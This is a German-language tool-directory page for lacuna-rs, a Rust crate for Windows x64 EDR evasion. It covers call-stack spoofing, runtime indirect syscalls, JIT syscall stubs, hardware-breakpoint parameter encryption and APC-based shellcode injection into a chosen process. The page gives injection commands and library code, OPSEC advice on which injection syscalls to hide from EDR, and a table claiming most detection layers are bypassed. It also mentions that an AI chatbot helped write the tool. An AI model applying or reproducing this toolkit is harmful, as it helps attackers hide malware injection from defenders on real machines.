Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
lacuna-rs — Rust-Crate für Ghost-Frame Call-Stack Spoofing, indirekte Syscalls zur Laufzeit und APC-Injektion auf Windows x64. Bietet SSN-Auflösung, JIT-Stub-Erzeugung und VEH-basierte Parameter-Verschlüsselung zur EDR-Umgehung. | Kitploit
Tools/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExploitationRed TeamingPayload-EntwicklungBinary-Exploitation
GitHubkarkas66/lacuna-rs

lacuna-rs

Rust-Crate für Ghost-Frame Call-Stack Spoofing, indirekte Syscalls zur Laufzeit und APC-Injektion auf Windows x64. Bietet SSN-Auflösung, JIT-Stub-Erzeugung und VEH-basierte Parameter-Verschlüsselung zur EDR-Umgehung.

Repository anzeigen
181vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

lacuna-rs

Ghost-Frame-Call-Stack-Spoofing + Runtime-Indirekte-Syscalls für Windows x64 — portiert nach Rust.

Portiert von LACUNA Chain (lacuna_chain.c) von Mohamed Alzhrani (0xmaz).

lacuna-rs ist eine wiederverwendbare Rust-Crate, die dieselben Primitive wie das originale C-TTP bereitstellt, strukturiert, sodass es in jedes Rust-Projekt eingebunden werden kann — wie wsyscall-rs oder syscalls-rs, aber mit Laufzeit-SSN-Auflösung, funktionsspezifischem syscall;ret-Targeting und Ghost-Frame-Stack-Spoofing.


Wichtig: Frame-Pointer-Anforderung

Das stack-spoof-Feature schlägt stillschweigend fehl, wenn die verbrauchende Crate nicht mit Frame-Pointern kompiliert wurde.

Die Stack-Stomping-Primitive in chain.rs finden den Slot der Rücksprungadresse des Aufrufers über mov rbp, {x}-Inline-Asm. Dies erfordert eine intakte RBP-Kette. Rust (und die meisten Release-Mode-Compiler) lassen Frame-Pointer standardmäßig weg.

build.rs setzt force-frame-pointers=yes für die Codegenerierung dieser Crate, aber Cargo kann Compiler-Flags nicht an abhängige Crates weitergeben. Sie müssen dies zu Ihrem eigenen Projekt hinzufügen:

root@kitploit:~
# .cargo/config.toml  (in IHRER Crate, nicht in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Ohne dies wird stomp_plant() Müll von RBP lesen und entweder nichts tun (bestenfalls) oder den Stack korrumpieren (schlimmstenfalls). Die Crate hat keine Möglichkeit, zur Laufzeit zu erkennen, ob Frame-Pointer aktiviert sind — sie wird einfach nicht funktionieren.

Wenn Sie nur die Scan-, SSN-Auflösungs- oder Injektionsprimitive (ohne Stack-Spoofing) benötigen, können Sie das stack-spoof-Feature weglassen, und diese Anforderung entfällt.


Was es macht


Feature-Flags

root@kitploit:~
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

Wenn keine Features aktiviert sind, sind nur die Scan-/PE-/NT-Ebenen verfügbar.


Schnellstart

Ghost-Regionen scannen

root@kitploit:~
cargo run --example scan

Ghost-Frame-Chain erstellen + verifizieren

root@kitploit:~
cargo run --example verify --features stack-spoof

Shellcode via Section + APC injizieren

Injektionsbeispiel Injektionsbeispiel mit echtem Implantat – C2 war offline, aber der Shellcode wurde ausgeführt

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Fügen Sie --verbose hinzu, um VEH-Diagnoseausgaben (Stack-Dumps, Register-Ausgaben) zu aktivieren:

root@kitploit:~
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Thread-Bewertungsalgorithmus

Anstatt APCs an jeden Thread im Zielprozess zu senden (was den Prozess zum Absturz bringen kann, wenn zu viele Threads gleichzeitig alarmiert werden), verwendet inject_sapc einen Bewertungsalgorithmus, um die besten MAX_APC_THREADS (5) Kandidaten auszuwählen:

  • Zykluszeit — NtQueryInformationThread(ThreadCycleTime) — primärer Aktivitätsindikator
  • CPU-Zeit — NtQueryInformationThread(ThreadTimes) — Kernel- + User-Zeit
  • Suspend-Anzahl — NtQueryInformationThread(ThreadSuspendCount) — nicht suspendierte Threads erhalten +300 Bonus; suspendierte Threads erhalten -150 pro Suspend-Zähler
  • Priorität — NtQueryInformationThread(ThreadBasicInformation) — Threads mit Priorität 8-10 erhalten +150 Bonus; Prioritäten außerhalb des Bereichs erhalten -100 Abzug

Vollständig inaktive Threads (null Zyklen und null CPU-Zeit) werden vollständig übersprungen. Die verbleibenden Kandidaten werden nach Punktzahl sortiert (höchste zuerst, bei Gleichstand nach Zyklen) und auf die Top 5 begrenzt.


Verwendung als Bibliothek

Basis: Scan + SSN-Auflösung

root@kitploit:~
use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Ghost-Regionen scannen
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} Ghost-Regionen in ntdll", n);

// SSN + syscall;ret für eine bestimmte Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Einen indirekten Syscall-Stub für eine beliebige NT-API emittieren

root@kitploit:~
use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// SSN + die eigene syscall;ret-Adresse der Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-emittieren eines Stubs: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (oder jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, falls build_chain aufgerufen wurde)
let stub = stub::make_stub(ssn, syscall_ret).expect("Stub-Allokation fehlgeschlagen");

// In den passenden Funktionszeigertyp umwandeln und aufrufen
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Ghost-Frame-Chain erstellen + VEH registrieren

root@kitploit:~
// ntdll/kernelbase/wow64/win32u nach Ghost-Regionen scannen und
// den sechsschichtigen gefälschten Call-Stack konstruieren. Setzt G_GHOST_GADGET,
// sodass Stubs über JMP [RBX] in einer signierten DLL routen.
lacuna::chain::build_chain();

// VEH-Handler registrieren (Parameter-Verschlüsselung + Chain-Guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH-Registrierung fehlgeschlagen");

// Optional: Ausführliche Diagnose zur Laufzeit aktivieren
lacuna::veh::set_verbose(true);

Einen sensitiven Syscall mit Stack-Spoof + Parameter-Verschlüsselung umschließen

root@kitploit:~
use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Ghost-Frames pflanzen (ersetzt Rücksprungadressen durch signierte DLL-Ghosts)
lacuna::chain::stomp_plant();

// DR0 auf dem syscall;ret scharfschalten – VEH wird beim Eintritt die Parameter XOR-entschlüsseln
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Durch den indirekten Stub aufrufen – RIP landet innerhalb von ntdll am Kernel-Eintritt
let _status = unsafe { open_proc(/* XOR-verschlüsselte Parameter */) };

// Vor jedem nicht geschützten Aufruf immer entschärfen
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: Was hinter Ghost-Frames versteckt werden sollte

Nicht jeder API-Aufruf benötigt die volle LACUNA-Behandlung. Das Schlüsselprinzip ist: Verstecke die Aufrufe, die ein EDR als Injektions- oder Post-Exploitation-Aktivität korrelieren würde.

Müssen hinter indirekten Syscalls + Ghost-Frames + Parameter-Verschlüsselung sein

Dies sind die „Kronjuwelen"-NT-Syscalls, die EDRs hooken und korrelieren:

Für jeden dieser Punkte:

  1. Mit nt::resolve(ntdll, b"NtXxx\0") auflösen
  2. Einen Stub mit stub::make_stub(ssn, syscall_ret) emittieren
  3. Sensitive Parameter mit veh::pcrypt_arm(key, syscall_ret, true) XOR-verschlüsseln
  4. Den Aufruf zwischen chain::stomp_plant() und chain::stomp_restore() einschließen

Können direkt sein (keine Ghost-Frames nötig)

Schlüsselprinzipien

  1. Auflösen jedes NT-Syscalls mit nt::resolve(ntdll, b"NtXxx\0") – gibt (SSN, syscall_ret_VA) zurück.
  2. Emittieren eines JIT-Stubs mit stub::make_stub(ssn, syscall_ret) – gibt einen aufrufbaren Funktionszeiger zurück.
  3. Umwandeln des Stubs in den passenden Typ extern "system" fn(...) mittels core::mem::transmute.
  4. (Nur für sensitive Aufrufe) Die Ghost-Frame-Chain mit chain::build_chain() erstellen und chain::stomp_plant() / chain::stomp_restore() um den Aufruf herum aufrufen.
  5. (Nur für sensitive Aufrufe) Parameter-Verschlüsselung mit veh::pcrypt_arm(key, syscall_ret, true) vor dem Aufruf aktivieren und veh::pcrypt_disarm() danach.
  6. Immer das VEH entschärfen, bevor nicht geschützte Aufrufe getätigt werden – ein versehentlicher DR0-Treffer bei einem unbewaffneten Syscall führt zum Absturz.

Der Stub kümmert sich automatisch um die Sequenz mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Wenn ein Ghost-Gadget registriert wurde, leitet der Stub über JMP [RBX] für eine duale Ausführungsumleitung und einen artefaktfreien Brückenframe um.


Writeup-Abdeckungsverifikation

Alle 9 wichtigen Beiträge aus dem LACUNA Chain Writeup sind im Code repräsentiert:

Erkennungsoberflächenabdeckung


Warum nicht einfach syscalls-rs verwenden?

syscalls-rs und wsyscall-rs generieren eine Build-Zeit-SSN-Tabelle aus einem bestimmten Windows-Build von ntdll. Wenn das Zielsystem einen anderen Build ausführt, sind die SSNs falsch und Syscalls schlagen fehl (oder lösen EDR-Heuristiken aus).

lacuna-rs löst SSNs zur Laufzeit auf, indem es ntdlls Stubs direkt liest, und zielt auf die eigene syscall;ret-Instruktion der Funktion, sodass RIP beim Kernel-Eintritt innerhalb von ntdll liegt – was die EDR-Heuristiken „SSN-Mismatch" und „indirekter Syscall aus ungebacktem Speicher" besiegt.

Zusätzlich bietet lacuna-rs die Ghost-Frame-Stack-Spoofing-Chain, die syscalls-rs nicht hat.


Build-Anforderungen

  • Ziel: x86_64-pc-windows-msvc (oder x86_64-pc-windows-gnu)
  • Rust-Edition: 2021
  • Abhängigkeiten: litcrypt2 (Kompilierzeit-String-Obfuskation)

Frame-Pointer-Einrichtung (nur für stack-spoof)

Das stack-spoof-Feature erfordert Frame-Pointer. build.rs setzt force-frame-pointers=yes automatisch für diese Crate, aber verbrauchende Crates müssen es ebenfalls in ihrer .cargo/config.toml setzen:

root@kitploit:~
# .cargo/config.toml (in der verbrauchenden Crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

litcrypt2-String-Obfuskation

Alle String-Literale in der Crate und den Beispielen sind in lc!()-Makros eingewickelt, die sie zur Kompilierzeit verschlüsseln und zur Laufzeit entschlüsseln. Der Verschlüsselungsschlüssel wird aus der Umgebungsvariablen LITCRYPT_ENCRYPT_KEY gelesen; falls nicht gesetzt, generiert litcrypt2 automatisch einen zufälligen Schlüssel.

Um einen Schlüssel für reproduzierbare Builds festzulegen:

root@kitploit:~
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

Architektur

root@kitploit:~
lacuna-rs/
├── Cargo.toml
├── build.rs              # Setzt force-frame-pointers für stack-spoof
├── src/
│   ├── lib.rs            # Crate-Wurzel + Re-exports + scan_all() + litcrypt2-Setup
│   ├── win.rs            # Win32/NT-FFI-Bindungen (no_std-kompatibel)
│   ├── pe.rs             # PE-Section + Export-Parsing
│   ├── scan.rs           # .pdata-Ghost-Region + Gadget-Scanning
│   ├── nt.rs             # SSN-Auflösung + syscall;ret-Targeting
│   ├── stub.rs           # JIT-Indirekter-Syscall-Stub-Emitting
│   ├── veh.rs            # VEH + Hardware-Breakpoint-Parameter-Verschlüsselung
│   ├── chain.rs          # LACUNA-Ghost-Frame-Chain + Stomp
│   └── inject.rs         # Sectionsbasierte APC-Injektion
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + windows-msvc target

Danksagungen

  • Original-Forschung & C-Implementierung: Mohamed Alzhrani (0xmaz) – LACUNA Chain
  • Technik: Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae
  • Finde den besten APC-Thread-Logik: Adaptiert von FrankensteinAPCInjection von S12cybersecurity
  • String-Obfuskation: litcrypt2 v0.1.3

Vollständige Offenlegung

Dieses Projekt wurde aktiv von einem KI-Chatbot unterstützt. Ich hatte die Gelegenheit, ein neueres, sehr leistungsfähiges Open-Source-Modell (GLM-5.2 von Z.ai (Zhipu AI)) zu testen und wollte ihm eine anspruchsvolle Aufgabe stellen. Gelernt: Es funktionierte gut, wenn der Mensch wusste, wie die Ergebnisse aussehen sollen. Wenn nicht... nur Mist.

Lizenz

MIT

Tool herunterladen
PrimitiveC-FunktionRust-Modul
PE-Section + Export-Parsingpe_section(), pe_export()pe
.pdata-Ghost-Region-Scanscan_ghosts(), best_ghost()scan
Ghost-Gadget-Erkennung (jmp [rbx])scan_ghost_gadgets()scan
win32u-NOP-Lücken-Finderwin32u_nop_gap()scan
BYOUD-MF-Anker-Finderfind_mf_target()scan
SSN-Auflösung (Hell's Gate / Halo's Gate)resolve_ssn()nt
Funktionsspezifischer syscall;ret-Locatorfind_func_syscall()nt
JIT-Indirekter-Syscall-Stub-Emittingalloc_stub()stub
Ghost-Gadget-Stub-Umleitung(in alloc_stub())stub
VEH + Hardware-Breakpoint-Parameter-Verschlüsselungparam_encrypt_veh(), pcrypt_arm()veh
Chain-Guard-VEHchain_veh()veh
LACUNA-Chain-Konstruktionbuild_chain()chain
Stack-Stomp (BYOUD-RT)stomp_plant(), stomp_restore()chain
Chain-Walker (Verifikation)lacuna_walk_chain()chain
Sectionsbasierte APC-Injektiondo_inject_sapc()inject
FeatureBeschreibungBenötigt Frame-Pointer?
syscalls (Standard)SSN-Auflösung + JIT-Stub-EmittingNein
inject (Standard)Sectionsbasierte APC-Injektion (inject::inject_sapc)Nein
vehVEH + Hardware-Breakpoint-Parameter-VerschlüsselungNein
stack-spoofLACUNA-Ghost-Frame-Chain + Stack-StompJa
no-stdno_std-Modus (experimentell)Nein
AufrufWarum es sensitiv ist
NtOpenProcessÖffnet ein Handle zu einem anderen Prozess – erster Schritt der Injektion
NtCreateSection + NtMapViewOfSection (remote)Sectionsbasierte Injektionssignatur
NtWriteVirtualMemoryCross-Process-Write – klassischer Injektionsindikator
NtCreateThreadExRemote-Thread-Erstellung – höchstsignifikantes Injektionsprimitiv
NtQueueApcThreadAPC-Injektion – hohes Signal
NtProtectVirtualMemoryRWX-Berechtigungsänderungen – Shellcode-Staging-Indikator
NtAllocateVirtualMemory (remote)Remote-Allokation – Injektionsvorspiel
NtSetInformationThreadThread-Verstecken (HideFromDebugger) – Evasion-Indikator
AufrufWarum es sicher ist
NtQueryInformationThreadNur Abfrage, selten gehookt, kein Cross-Process-Write
NtDelayExecutionSchlaf – harmlos, von jeder Anwendung genutzt
NtCloseHandle-Schließen – harmlos, extrem häufig
GetModuleHandleA / GetProcAddressModulauflösung – kein Syscall, nicht durch EDR-Userland-Hooks hookbar
CreateToolhelp32Snapshot / Thread32First / Thread32NextThread-Aufzählung – kernel32, kein ntdll-Syscall
OpenThread / CloseHandleStandard-Handle-Operationen – kernel32
GetThreadContext / SetThreadContextBenötigt für DR0 – kernel32, nur eigener Prozess
  • Alle Ausgabestrings müssen mit lc!() umschlossen werden – die Crate erzwingt dies, und die VEH-Diagnose ist hinter set_verbose(true) verborgen, das standardmäßig deaktiviert ist.
  • #Writeup-KonzeptCode-StelleBeschreibung
    1BYOUD-Gap (null .pdata-Modifikation)chain.rs – Ghost-Frame-Chain-KonstruktionNutzt Lücken zwischen RUNTIME_FUNCTION-Einträgen; der Unwinder behandelt sie als Leaf-Frames (RSP += 8)
    2ETW-Ti-APC-Window-Angriffinject.rs – NtDelayExecution alertable DrainKontrolliert, wann der ETW-Ti-APC-Stack-Snapshot ausgelöst wird, durch Manipulation des Thread-Alertable-Zustands
    3Parameter-Verschlüsselung im BYOUD-Kontextveh.rs – pcrypt_arm(), param_encrypt_veh()XOR-verschlüsselt Syscall-Parameter beim Staging; entschlüsselt in einem Hardware-Breakpoint-VEH an der syscall-Instruktion
    4Win32u-NOP-Lücken-Chain + Ghost-Gadgetscan.rs – win32u_nop_gap(), scan_ghost_gadgets()1.242 NOP-Lücken in win32u.dll bieten whitelistierte Leaf-Frames; JMP [RBX]-Ghost-Gadget bei ntdll+0xFC47B
    5kernelbase Semantische Ghost-Proximitychain.rs – L2_kbase-Schicht nahe VirtualProtect238-Byte-Ghost, der am Einstiegspunkt von VirtualProtect endet – nicht unterscheidbar von einer echten VP-Rückkehradresse
    6BYOUD-MF (Machine Frame RSP Teleport)chain.rs – MachFrame-Struct, scan.rs – find_mf_target()Nutzt UWOP_PUSH_MACHFRAME (Opcode 10) in KiUser*-Dispatchtern für beliebigen RSP-Teleport in einem einzigen Frame
    7BYOUD-RT (Laufzeit-RSP-Berechnung)chain.rs – teb_stack_base(), teb_stack_limit()Liest TEB.StackBase (GS:[0x08]) zum Aufrufzeitpunkt, um die genaue Frame-Distanz zu berechnen – keine Vorkalibrierung nötig
    8wow64.dll Ghost-Proximitychain.rs – L1_wow64-Schicht, scan.rs – zielt auf Wow64PrepareForException91-Byte-Ghost, der am Einstieg von Wow64PrepareForException endet – vierte semantische Schicht für die Chain
    9Sechsschichtige LACUNA-Chainchain.rs – LacunaStack-Struct (L1-L5 + MachFrame)Vollständige Chain: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart
    ErkennungsschichtStatusImplementierung
    Modul-of-Origin-CheckUMGANGENAlle Frames in ntdll / kernelbase / wow64 / win32u
    Unwind-Walk-KorrektheitUMGANGENAlle Lacuna-Frames sind Leaf -> gültiges RSP+8
    .pdata-forensischer ScanUMGANGENKeine Modifikation; Lücken bereits vorhanden
    CET Shadow StackUMGANGENReine Leaf-Chain; Shadow Stack wird nicht konsultiert
    Semantische Frame-AnalyseUMGANGENWoW64-Ausnahme + VirtualProtect-Nachbarschaft
    Win32u-RegelausnahmeUMGANGENSchicht 4 explizit von allen Regeln ausgeschlossen
    ETW-Ti STACKWALKUMGANGENAPC-Window-Angriff kontrolliert Snapshot-Timing
    Parameter-InspektionUMGANGENHW-Breakpoint-VEH-Entschlüsselung
    Kernel-CallbacksTEILWEISEHandle-Operationen feuern weiterhin ObRegisterCallbacks